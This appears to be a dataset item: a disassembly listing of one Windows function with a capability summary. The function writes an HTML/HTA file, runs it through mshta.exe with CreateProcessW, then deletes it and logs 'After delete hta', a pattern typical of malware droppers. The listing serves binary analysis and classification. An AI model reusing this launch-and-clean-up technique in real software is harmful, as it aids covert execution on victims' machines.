Function at 0x401590
Capabilities:
Check if file exists
Create process on windows
Create thread
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41047b
mov eax, dword fs:[0]
push eax
sub esp, 0xeb8
mov eax, dword [0x4152ac]
xor eax, esp
mov dword [esp + 0xeb0], eax
push ebx
push esi
push edi
mov eax, dword [0x4152ac]
xor eax, esp
push eax
lea eax, [esp + 0xec8]
mov dword fs:[0], eax
call fcn.00401d70
call fcn.00402370
xor ebx, ebx
lea eax, [esp + 0x10]
push eax
push ebx
push ebx
push 0x4023f0
push ebx
push ebx
mov dword [esp + 0x28], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
or edi, 0xffffffff
mov esi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x4161f4]
mov eax, dword [edx + 0xc]
mov ecx, 0x4161f4
call eax
mov edx, dword [0x4161f4]
add eax, 0x10
mov dword [esp + 0x34], eax
mov eax, dword [edx + 0xc]
mov ecx, 0x4161f4
mov dword [esp + 0x38], edi
call eax
add eax, 0x10
mov dword [esp + 0x3c], eax
lea esi, [esp + 0x34]
mov dword [esp + 0xed0], ebx
call fcn.00401160
cmp eax, ebx
jne 0x4016a2
mov dword [esp + 0xed0], edi
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40167c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edi
dec edi
test edi, edi
jg 0x401a9a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x401a9a
push 0x206
lea ecx, [esp + 0x4aa]
push ebx
push ecx
mov word [esp + 0x4b0], bx
call fcn.00404780
add esp, 0xc
push 0x104
lea edx, [esp + 0x4a8]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x4a4]
push 0x5c
push eax
call fcn.00403f05
add esp, 8
cmp eax, ebx
je 0x4016ed
mov word [eax], bx
push 0x206
lea ecx, [esp + 0xa2]
push ebx
push ecx
mov word [esp + 0xa8], bx
call fcn.00404780
add esp, 0xc
call fcn.00402530
push eax
lea edx, [esp + 0x4a8]
push edx
push str._spackage5g_s.html
mov eax, 0x208
lea edi, [esp + 0xa8]
call fcn.00401440
add esp, 0xc
mov eax, edi
lea ecx, [esp + 0x34]
call fcn.00401070
test eax, eax
jne 0x401797
push ebx
push 0x412fe0
push 0x412ff0
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
mov dword [esp + 0xed0], 0xffffffff
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40177e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jmp 0x40168d
mov eax, dword [esp + 0x40]
cmp eax, ebx
je 0x4017a6
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0xa0]
push edx
lea edx, [esp + 0x38]
lea ecx, [esp + 0x20]
lea ebx, [esp + 0x24]
lea edi, [esp + 0x18]
mov dword [esp + 0x40], 0xffffffff
call fcn.00401eb0
add esp, 8
test al, al
je 0x401820
mov esi, dword [esp + 0x30]
mov edi, dword [esp + 0x18]
mov ebx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push esi
push edi
push ebx
push eax
push ecx
call fcn.00401fc0
add esp, 0x14
test eax, eax
jle 0x40182d
call fcn.004022b0
test eax, eax
je 0x401a91
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push esi
push edi
push ebx
push edx
push eax
call fcn.004021b0
add esp, 0x14
jmp 0x40182d
call fcn.004022b0
test eax, eax
je 0x401a91
call fcn.00401b10
test al, al
jne 0x401843
call fcn.004022b0
test eax, eax
je 0x401a91
xor esi, esi
push 0x206
lea ecx, [esp + 0xcba]
push esi
push ecx
mov word [esp + 0xcc0], si
call fcn.00404780
add esp, 0xc
push 0x104
lea edx, [esp + 0xcb8]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0x1fe
lea eax, [esp + 0x8ba]
push esi
push eax
mov word [esp + 0x8c0], si
call fcn.00404780
add esp, 0xc
push 0x1fe
lea ecx, [esp + 0xaba]
push esi
push ecx
mov word [esp + 0xac0], si
call fcn.00404780
add esp, 0xc
xor eax, eax
jmp 0x4018c0
movzx ecx, word [eax + str.host32.exe]
mov word [esp + eax + 0xab4], cx
add eax, 2
cmp cx, si
jne 0x4018c0
push 0x1fe
lea edx, [esp + 0x2aa]
push esi
push edx
mov word [esp + 0x2b0], si
call fcn.00404780
lea eax, [esp + 0xac0]
add esp, 0xc
push eax
call fcn.00401de0
push eax
push str._s_s
mov eax, 0x200
lea edi, [esp + 0x2b0]
call fcn.00401440
add esp, 0xc
mov ecx, edi
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
lea edi, [esp + 0x8b4]
je 0x401947
lea edx, [esp + 0x9c]
push edx
lea eax, [esp + 0x2a8]
push eax
push str.__s____s_
jmp 0x40195c
lea ecx, [esp + 0x9c]
push ecx
lea edx, [esp + 0xcb8]
push edx
push str._s_system32mshta.exe___s_
mov eax, 0x200
call fcn.00401440
add esp, 0xc
push 0x40
lea eax, [esp + 0x5c]
push esi
push eax
call fcn.00404780
add esp, 0xc
push 0x206
xor eax, eax
lea ecx, [esp + 0x6b2]
push esi
push ecx
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x60], 0x44
mov word [esp + 0x6b8], si
call fcn.00404780
add esp, 0xc
lea eax, [esp + 0x9c]
mov edx, 0x104
lea ecx, [esp + 0x6ac]
call fcn.00401020
lea edx, [esp + 0x6ac]
push 0x5c
push edx
call fcn.00403f05
add esp, 8
cmp eax, esi
je 0x4019e3
mov word [eax + 2], si
lea eax, [esp + 0x9c]
push eax
push str.Run_msthta.exe__s
mov ecx, 0x417bd4
call fcn.00402ac0
add esp, 8
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x58]
push edx
lea eax, [esp + 0x6b4]
push eax
push esi
push esi
push esi
push esi
push esi
lea ecx, [esp + 0x8d4]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x401a50
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Create_process_error_errcode_d
mov ecx, 0x417bd4
call fcn.00402ac0
add esp, 8
lea edx, [esp + 0x9c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x401a91
mov eax, dword [esp + 0x20]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x20]
push edx
call esi
lea eax, [esp + 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.After_delete_hta
mov ecx, 0x417bd4
call fcn.00402ac0
add esp, 4
lea esi, [esp + 0x34]
call fcn.00401ad0
xor eax, eax
mov ecx, dword [esp + 0xec8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xeb0]
xor ecx, esp
call fcn.00403552
mov esp, ebp
pop ebp
ret 0x10